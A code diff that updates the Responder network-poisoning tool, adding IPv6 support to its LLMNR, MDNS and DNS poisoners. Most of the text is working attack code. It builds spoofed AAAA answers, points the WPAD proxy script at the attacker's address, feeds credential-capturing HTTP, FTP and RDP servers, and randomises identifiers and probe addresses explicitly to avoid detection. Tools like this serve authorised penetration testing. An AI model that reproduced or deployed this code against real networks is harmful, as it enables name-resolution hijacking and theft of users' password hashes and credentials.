self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton) - + + #IPV6: + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) if OsInterfaceIsSupported(): try: if settings.Config.Bind_To_ALL: @@ -153,51 +164,61 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: - raise - #pass + pass UDPServer.server_bind(self) + ThreadingUDPServer.allow_reuse_address = 1 +ThreadingUDPServer.address_family = socket.AF_INET6 + ThreadingTCPServer.allow_reuse_address = 1 +ThreadingTCPServer.address_family = socket.AF_INET6 + ThreadingUDPMDNSServer.allow_reuse_address = 1 +ThreadingUDPMDNSServer.address_family = socket.AF_INET6 + ThreadingUDPLLMNRServer.allow_reuse_address = 1 +ThreadingUDPLLMNRServer.address_family = socket.AF_INET6 + ThreadingTCPServerAuth.allow_reuse_address = 1 +ThreadingTCPServerAuth.address_family = socket.AF_INET6 def serve_thread_udp_broadcast(host, port, handler): try: - server = ThreadingUDPServer((host, port), handler) + server = ThreadingUDPServer(('', port), handler) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") def serve_NBTNS_poisoner(host, port, handler): - serve_thread_udp_broadcast(host, port, handler) + serve_thread_udp_broadcast('', port, handler) def serve_MDNS_poisoner(host, port, handler): try: - server = ThreadingUDPMDNSServer((host, port), handler) + server = ThreadingUDPMDNSServer(('', port), handler) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") def serve_LLMNR_poisoner(host, port, handler): try: - server = ThreadingUDPLLMNRServer((host, port), handler) + server = ThreadingUDPLLMNRServer(('', port), handler) server.serve_forever() except: - raise print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") - + def serve_thread_udp(host, port, handler): try: if OsInterfaceIsSupported(): - server = ThreadingUDPServer((host, port), handler) + server = ThreadingUDPServer(('', port), handler) server.serve_forever() else: - server = ThreadingUDPServer((host, port), handler) + server = ThreadingUDPServer(('', port), handler) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") @@ -205,10 +226,10 @@ def serve_thread_udp(host, port, handler): def serve_thread_tcp(host, port, handler): try: if OsInterfaceIsSupported(): - server = ThreadingTCPServer((host, port), handler) + server = ThreadingTCPServer(('', port), handler) server.serve_forever() else: - server = ThreadingTCPServer((host, port), handler) + server = ThreadingTCPServer(('', port), handler) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") @@ -216,10 +237,10 @@ def serve_thread_tcp(host, port, handler): def serve_thread_tcp_auth(host, port, handler): try: if OsInterfaceIsSupported(): - server = ThreadingTCPServerAuth((host, port), handler) + server = ThreadingTCPServerAuth(('', port), handler) server.serve_forever() else: - server = ThreadingTCPServerAuth((host, port), handler) + server = ThreadingTCPServerAuth(('', port), handler) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") @@ -231,11 +252,11 @@ def serve_thread_SSL(host, port, handler): key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) if OsInterfaceIsSupported(): - server = ThreadingTCPServer((host, port), handler) + server = ThreadingTCPServer(('', port), handler) server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) server.serve_forever() else: - server = ThreadingTCPServer((host, port), handler) + server = ThreadingTCPServer(('', port), handler) server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) server.serve_forever() except: @@ -243,7 +264,10 @@ def serve_thread_SSL(host, port, handler): def main(): try: + if (sys.version_info < (3, 0)): + print(color('\n\n[-]', 3, 1) + " Still using python 2? :(") print(color('\n[+]', 2, 1) + " Listening for events...\n") + threads = [] # Load (M)DNS, NBNS and LLMNR Poisoners diff --git a/packets.py b/packets.py index e533cf6..07c9a7d 100755 --- a/packets.py +++ b/packets.py @@ -23,7 +23,7 @@ import re from os import urandom from base64 import b64decode, b64encode from odict import OrderedDict -from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3 +from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, RespondWithIPPton, RespondWithIP, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3 # Packet class handling all packet generation (see odict.py). class Packet(): @@ -90,6 +90,32 @@ class DNS_Ans(Packet): self.fields["IP"] = RespondWithIPAton() self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) +class DNS6_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x10"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x1c"), + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x1c"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) + self.fields["IP"] = RespondWithIPPton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + class DNS_SRV_Ans(Packet): fields = OrderedDict([ ("Tid", ""), @@ -181,6 +207,35 @@ class LLMNR_Ans(Packet): self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"]) self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"]) +class LLMNR6_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x80\x00"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionNameLen", "\x09"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x1c"), + ("Class", "\x00\x01"), + ("AnswerNameLen", "\x09"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type1", "\x00\x1c"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IP"] = RespondWithIPPton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"]) + self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"]) + # MDNS Answer Packet class MDNS_Ans(Packet): fields = OrderedDict([ @@ -200,6 +255,29 @@ class MDNS_Ans(Packet): ]) def calculate(self): + self.fields["IP"] = RespondWithIPAton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + +# MDNS6 Answer Packet +class MDNS6_Ans(Packet): + fields = OrderedDict([ + ("Tid", "\x00\x00"), + ("Flags", "\x84\x00"), + ("Question", "\x00\x00"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type", "\x00\x1c"), + ("Class", "\x00\x01"), + ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IP"] = RespondWithIPPton() self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) ################### DHCP SRV ###################### @@ -299,7 +377,7 @@ class IIS_Auth_Granted(Packet): ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("CRLF", "\r\n\r\n"), - ("Payload", "\n\n\n\nLoading\n\n\n"), + ("Payload", "\n\n\n\nLoading\n\n\n"), ]) def calculate(self): self.fields["ActualLen"] = len(str(self.fields["Payload"])) @@ -358,7 +436,7 @@ class WPADScript(Packet): ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("CRLF", "\r\n\r\n"), - ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), + ("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"), ]) def calculate(self): self.fields["ActualLen"] = len(str(self.fields["Payload"])) @@ -2228,7 +2306,7 @@ class SamLogonResponseEx(Packet): ("ServerName", settings.Config.MachineName), ("ServerTerminator", "\x00"), ("UsernameLen", "\x10"), - ("Username", "LGANDX"), + ("Username", settings.Config.Username), ("UserTerminator", "\x00"), ("SrvSiteNameLen", "\x17"), ("SrvSiteName", "Default-First-Site-Name"), diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py old mode 100644 new mode 100755 index c56c8cb..296302b --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -14,9 +14,7 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . - -import fingerprint -from packets import LLMNR_Ans +from packets import LLMNR_Ans, LLMNR6_Ans from utils import * if (sys.version_info > (3, 0)): @@ -24,9 +22,6 @@ if (sys.version_info > (3, 0)): else: from SocketServer import BaseRequestHandler - - - def Parse_LLMNR_Name(data): import codecs NameLen = data[12] @@ -60,14 +55,13 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class try: data, soc = self.request Name = Parse_LLMNR_Name(data).decode("latin-1") + LLMNRType = Parse_IPV6_Addr(data) + # Break out if we don't want to respond to this host if RespondToThisHost(self.client_address[0], Name) is not True: return None - if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data): - Finger = None - if settings.Config.Finger_On_Off: - Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) - + #IPv4 + if data[2:4] == b'\x00\x00' and LLMNRType: if settings.Config.AnalyzeMode: LineHeader = "[Analyze mode: LLMNR]" print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) @@ -77,7 +71,8 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class 'ForName': Name, 'AnalyzeMode': '1', }) - else: # Poisoning Mode + + elif LLMNRType == True: # Poisoning Mode Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) @@ -89,8 +84,19 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class 'ForName': Name, 'AnalyzeMode': '0', }) - if Finger is not None: - print(text("[FINGER] OS Version : %s" % color(Finger[0], 3))) - print(text("[FINGER] Client Version : %s" % color(Finger[1], 3))) + + elif LLMNRType == 'IPv6': + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + Buffer1.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) + LineHeader = "[*] [LLMNR]" + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'LLMNR6', + 'SentToIp': self.client_address[0], + 'ForName': Name, + 'AnalyzeMode': '0', + }) + except: raise diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py old mode 100644 new mode 100755 index dfb80ae..6973dc0 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -20,7 +20,7 @@ if (sys.version_info > (3, 0)): from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler -from packets import MDNS_Ans +from packets import MDNS_Ans, MDNS6_Ans from utils import * def Parse_MDNS_Name(data): @@ -51,37 +51,45 @@ def Poisoned_MDNS_Name(data): class MDNS(BaseRequestHandler): def handle(self): - MADDR = "224.0.0.251" - MPORT = 5353 data, soc = self.request Request_Name = Parse_MDNS_Name(data) - + MDNSType = Parse_IPV6_Addr(data) # Break out if we don't want to respond to this host + if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): return None if settings.Config.AnalyzeMode: # Analyze Mode - if Parse_IPV6_Addr(data): - print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))) - SavePoisonersToDb({ - 'Poisoner': 'MDNS', - 'SentToIp': self.client_address[0], - 'ForName': Request_Name, - 'AnalyzeMode': '1', - }) - else: # Poisoning Mode - if Parse_IPV6_Addr(data): + print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))) + SavePoisonersToDb({ + 'Poisoner': 'MDNS', + 'SentToIp': self.client_address[0], + 'ForName': Request_Name, + 'AnalyzeMode': '1', + }) + elif MDNSType == True: # Poisoning Mode + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS_Ans(AnswerName = Poisoned_Name) + Buffer.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'MDNS', + 'SentToIp': self.client_address[0], + 'ForName': Request_Name, + 'AnalyzeMode': '0', + }) - Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton()) - Buffer.calculate() - soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT)) - - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) - SavePoisonersToDb({ - 'Poisoner': 'MDNS', - 'SentToIp': self.client_address[0], - 'ForName': Request_Name, - 'AnalyzeMode': '0', - }) + elif MDNSType == 'IPv6': # Poisoning Mode + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) + Buffer.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'MDNS6', + 'SentToIp': self.client_address[0], + 'ForName': Request_Name, + 'AnalyzeMode': '0', + }) diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py old mode 100644 new mode 100755 index 5000e81..088f667 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -14,7 +14,6 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import fingerprint import sys from packets import NBT_Ans from utils import * @@ -24,21 +23,6 @@ if (sys.version_info > (3, 0)): else: from SocketServer import BaseRequestHandler -# Define what are we answering to. -def Validate_NBT_NS(data): - print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46])) - if settings.Config.AnalyzeMode: - return False - elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server": - return True - elif settings.Config.NBTNSDomain: - if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller": - return True - elif settings.Config.Wredirect: - if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector": - return True - return False - # NBT_NS Server class. class NBTNS(BaseRequestHandler): @@ -51,10 +35,6 @@ class NBTNS(BaseRequestHandler): return None if data[2:4] == b'\x01\x10': - Finger = None - if settings.Config.Finger_On_Off: - Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) - if settings.Config.AnalyzeMode: # Analyze Mode LineHeader = "[Analyze mode: NBT-NS]" print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) @@ -77,6 +57,3 @@ class NBTNS(BaseRequestHandler): 'AnalyzeMode': '0', }) - if Finger is not None: - print(text("[FINGER] OS Version : %s" % color(Finger[0], 3))) - print(text("[FINGER] Client Version : %s" % color(Finger[1], 3))) diff --git a/servers/DNS.py b/servers/DNS.py index 528c078..97cf140 100755 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * -from packets import DNS_Ans, DNS_SRV_Ans +from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: @@ -28,6 +28,8 @@ def ParseDNSType(data): return "A" if QueryTypeClass == "\x00\x21\x00\x01": return "SRV" + if QueryTypeClass == "\x00\x1c\x00\x01": + return "IPv6" @@ -53,7 +55,15 @@ class DNS(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": + buff = DNS6_Ans() + buff.calculate(NetworkRecvBufferPython2or3(data)) + soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + except Exception: + raise pass # DNS Server TCP Class @@ -79,5 +89,13 @@ class DNSTCP(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": + buff = DNS6_Ans() + buff.calculate(NetworkRecvBufferPython2or3(data)) + self.request.send(NetworkSendBufferPython2or3(buff)) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + except Exception: + raise pass diff --git a/servers/FTP.py b/servers/FTP.py old mode 100644 new mode 100755 index cd249ac..b60b3d9 --- a/servers/FTP.py +++ b/servers/FTP.py @@ -37,10 +37,8 @@ class FTP(BaseRequestHandler): if data[0:4] == b'PASS': Pass = data[5:].strip().decode("latin-1") - Packet = FTPPacket(Code="530",Message="User not logged in.") self.request.send(NetworkSendBufferPython2or3(Packet)) - data = self.request.recv(1024) SaveToDb({ 'module': 'FTP', @@ -57,4 +55,5 @@ class FTP(BaseRequestHandler): data = self.request.recv(1024) except Exception: + raise pass diff --git a/servers/HTTP.py b/servers/HTTP.py old mode 100644 new mode 100755 index 2701ca8..0ce6b73 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -86,16 +86,6 @@ def GrabCookie(data, host): return Cookie return False -def GrabHost(data, host): - Host = re.search(r'(Host:*.\=*)[^\r\n]*', data) - - if Host: - Host = Host.group(0).replace('Host: ', '') - if settings.Config.Verbose: - print(text("[HTTP] Host : %s " % color(Host, 3))) - return Host - return False - def GrabReferer(data, host): Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data) @@ -196,8 +186,7 @@ def PacketSequence(data, client, Challenge): Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] if Packet_NTLM == b'\x01': GrabURL(data, client) - GrabReferer(data, client) - GrabHost(data, client) + #GrabReferer(data, client) GrabCookie(data, client) Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) @@ -228,8 +217,7 @@ def PacketSequence(data, client, Challenge): ClearText_Auth = b64decode(''.join(Basic_Auth)) GrabURL(data, client) - GrabReferer(data, client) - GrabHost(data, client) + #GrabReferer(data, client) GrabCookie(data, client) SaveToDb({ @@ -311,3 +299,4 @@ class HTTP(BaseRequestHandler): except: pass + diff --git a/servers/HTTP_Proxy.py b/servers/HTTP_Proxy.py old mode 100644 new mode 100755 index 2b23dbf..fcade5e --- a/servers/HTTP_Proxy.py +++ b/servers/HTTP_Proxy.py @@ -207,7 +207,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): rbufsize = 0 def handle(self): - (ip, port) = self.client_address + (ip, port) = self.client_address[0], self.client_address[1] if settings.Config.Verbose: print(text("[PROXY] Received connection from %s" % self.client_address[0])) self.__base_handle() @@ -246,14 +246,15 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): try: if self._connect_to(self.path, soc): - self.wfile.write(self.protocol_version +" 200 Connection established\r\n") - self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) - self.wfile.write("\r\n") + self.wfile.write(NetworkSendBufferPython2or3(self.protocol_version +" 200 Connection established\r\n")) + self.wfile.write(NetworkSendBufferPython2or3("Proxy-agent: %s\r\n"% self.version_string())) + self.wfile.write(NetworkSendBufferPython2or3("\r\n")) try: self._read_write(soc, 300) except: pass except: + raise pass finally: diff --git a/servers/MSSQL.py b/servers/MSSQL.py old mode 100644 new mode 100755 diff --git a/servers/RDP.py b/servers/RDP.py old mode 100644 new mode 100755 index 82edbe7..f2e5bd1 --- a/servers/RDP.py +++ b/servers/RDP.py @@ -105,7 +105,7 @@ class RDP(BaseRequestHandler): h.calculate() buffer1 = str(h) self.request.send(NetworkSendBufferPython2or3(buffer1)) - SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True) + SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS_SERVER,server_side=True) SSLsock.settimeout(30) data = SSLsock.read(8092) if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00': diff --git a/settings.py b/settings.py index a2ee6ed..095f5b5 100755 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.1.0.0' +__version__ = 'Responder 3.1.1.0' class Settings: @@ -83,7 +83,7 @@ class Settings: # Config parsing config = ConfigParser.ConfigParser() config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) - + # Servers self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) @@ -119,10 +119,8 @@ class Settings: self.LM_On_Off = options.LM_On_Off self.NOESS_On_Off = options.NOESS_On_Off self.WPAD_On_Off = options.WPAD_On_Off - self.Wredirect = options.Wredirect self.DHCP_On_Off = options.DHCP_On_Off self.Basic = options.Basic - self.Finger_On_Off = options.Finger self.Interface = options.Interface self.OURIP = options.OURIP self.Force_WPAD_Auth = options.Force_WPAD_Auth @@ -132,23 +130,42 @@ class Settings: self.ProxyAuth_On_Off = options.ProxyAuth_On_Off self.CommandLine = str(sys.argv) self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) - self.DHCP_DNS = options.DHCP_DNS + self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP) + self.DHCP_DNS = options.DHCP_DNS + self.ExternalIP6 = options.ExternalIP6 if self.Interface == "ALL": self.Bind_To_ALL = True else: self.Bind_To_ALL = False - + #IPV4 if self.Interface == "ALL": self.IP_aton = socket.inet_aton(self.OURIP) else: self.IP_aton = socket.inet_aton(self.Bind_To) - + #IPV6 + if self.Interface == "ALL": + if self.OURIP != None and utils.IsIPv6IP(self.OURIP): + self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.OURIP) + else: + self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.Bind_To6) + + #External IP if self.ExternalIP: + if utils.IsIPv6IP(self.ExternalIP): + sys.exit(utils.color('[!] IPv6 address provided with -e parameter. Use -6 IPv6_address instead.', 1)) + self.ExternalIPAton = socket.inet_aton(self.ExternalIP) self.ExternalResponderIP = utils.RespondWithIP() else: self.ExternalResponderIP = self.Bind_To + + #External IPv6 + if self.ExternalIP6: + self.ExternalIP6Pton = socket.inet_pton(socket.AF_INET6, self.ExternalIP6) + self.ExternalResponderIP6 = utils.RespondWithIP6() + else: + self.ExternalResponderIP6 = self.Bind_To6 self.Os_version = sys.platform @@ -207,6 +224,7 @@ class Settings: #Generate Random stuff for one Responder session self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)]) + self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)]) self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)]) self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) self.DomainName = self.Domain + '.LOCAL' diff --git a/utils.py b/utils.py index 2da16be..d82bdf5 100755 --- a/utils.py +++ b/utils.py @@ -24,8 +24,24 @@ import settings import datetime import codecs import struct +import random +try: + import netifaces +except: + sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"') + from calendar import timegm +def if_nametoindex2(name): + if settings.Config.PY2OR3 == "PY2": + import ctypes + import ctypes.util + libc = ctypes.CDLL(ctypes.util.find_library('c')) + ret = libc.if_nametoindex(name) + return ret + else: + return socket.if_nametoindex(settings.Config.Interface) + def RandomChallenge(): if settings.Config.PY2OR3 == "PY3": if settings.Config.NumChal == "random": @@ -128,17 +144,30 @@ def RespondWithIPAton(): else: return settings.Config.IP_aton.decode('latin-1') -def RespondWithIP(): +def RespondWithIPPton(): if settings.Config.PY2OR3 == "PY2": - if settings.Config.ExternalIP: - return settings.Config.ExternalIP + if settings.Config.ExternalIP6: + return settings.Config.ExternalIP6Pton else: - return settings.Config.Bind_To + return settings.Config.IP_Pton6 else: - if settings.Config.ExternalIP: - return settings.Config.ExternalIP + if settings.Config.ExternalIP6: + return settings.Config.ExternalIP6Pton.decode('latin-1') else: - return settings.Config.Bind_To + return settings.Config.IP_Pton6.decode('latin-1') + +def RespondWithIP(): + if settings.Config.ExternalIP: + return settings.Config.ExternalIP + else: + return settings.Config.Bind_To + +def RespondWithIP6(): + if settings.Config.ExternalIP6: + return settings.Config.ExternalIP6 + else: + return settings.Config.Bind_To6 + def OsInterfaceIsSupported(): if settings.Config.Interface != "Not set": @@ -148,6 +177,16 @@ def OsInterfaceIsSupported(): def IsOsX(): return sys.platform == "darwin" +def IsIPv6IP(IP): + if IP == None: + return False + regex = "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))" + ret = re.search(regex, IP) + if ret: + return True + else: + return False + def FindLocalIP(Iface, OURIP): if Iface == 'ALL': return '0.0.0.0' @@ -155,6 +194,19 @@ def FindLocalIP(Iface, OURIP): try: if IsOsX(): return OURIP + + elif IsIPv6IP(OURIP): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8')) + s.connect(("127.0.0.1",9))#RFC 863 + ret = s.getsockname()[0] + s.close() + return ret + + + elif IsIPv6IP(OURIP) == False and OURIP != None: + return OURIP + elif OURIP == None: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8')) @@ -162,11 +214,45 @@ def FindLocalIP(Iface, OURIP): ret = s.getsockname()[0] s.close() return ret - return OURIP + except socket.error: print(color("[!] Error: %s: Interface not found" % Iface, 1)) sys.exit(-1) + +def FindLocalIP6(Iface, OURIP): + if Iface == 'ALL': + return '::' + + try: + + if IsIPv6IP(OURIP) == False: + + try: + #Let's make it random so we don't get spotted easily. + randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7))) + s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) + s.connect((randIP+':80', 1)) + IP = s.getsockname()[0] + print('IP is: %s'%IP) + return IP + except: + try: + #Try harder; 